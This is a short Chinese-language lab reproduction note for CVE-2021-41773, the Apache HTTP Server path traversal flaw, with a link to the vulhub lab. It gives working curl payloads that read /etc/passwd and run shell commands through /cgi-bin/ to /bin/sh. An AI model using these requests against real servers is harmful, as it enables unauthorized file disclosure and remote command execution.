自己的一次简单的漏洞复现记录

学习请移步:https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md

满足以上两个条件即可造成路径穿越,可以进行任意文件读取
注意:这里的/icons/必须是一个存在且可访问的目录
payload

curl -v --path-as-is http://your-ip:your-port/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

CVE-2021-41773/Apache HTTP Server 路径穿越漏洞_apache_02

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

CVE-2021-41773/Apache HTTP Server 路径穿越漏洞_CVE-2021-41773_03


在服务端开启了cgicgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

CVE-2021-41773/Apache HTTP Server 路径穿越漏洞_CVE-2021-41773_04


ScriptAliasAlias指令非常相似,都是定义了映射到一个特定目录的URL前缀,两者一般都用于指定位于DocumentRoot以外的目录,其不同之处是ScriptAlias又多了一层含义,即URL前缀后面的任何文件都被视为CGI程序。所以,上述配置会指示Apache任何以/cgi-bin/开头的资源都将映射到/usr/local/apache2/cgi-bin/目录中,且视之为CGI程序

payload

curl --data "echo;id" 'http://your-ip:your-port/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

CVE-2021-41773/Apache HTTP Server 路径穿越漏洞_ico_05

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

echo;cat /etc/passwd

CVE-2021-41773/Apache HTTP Server 路径穿越漏洞_github_06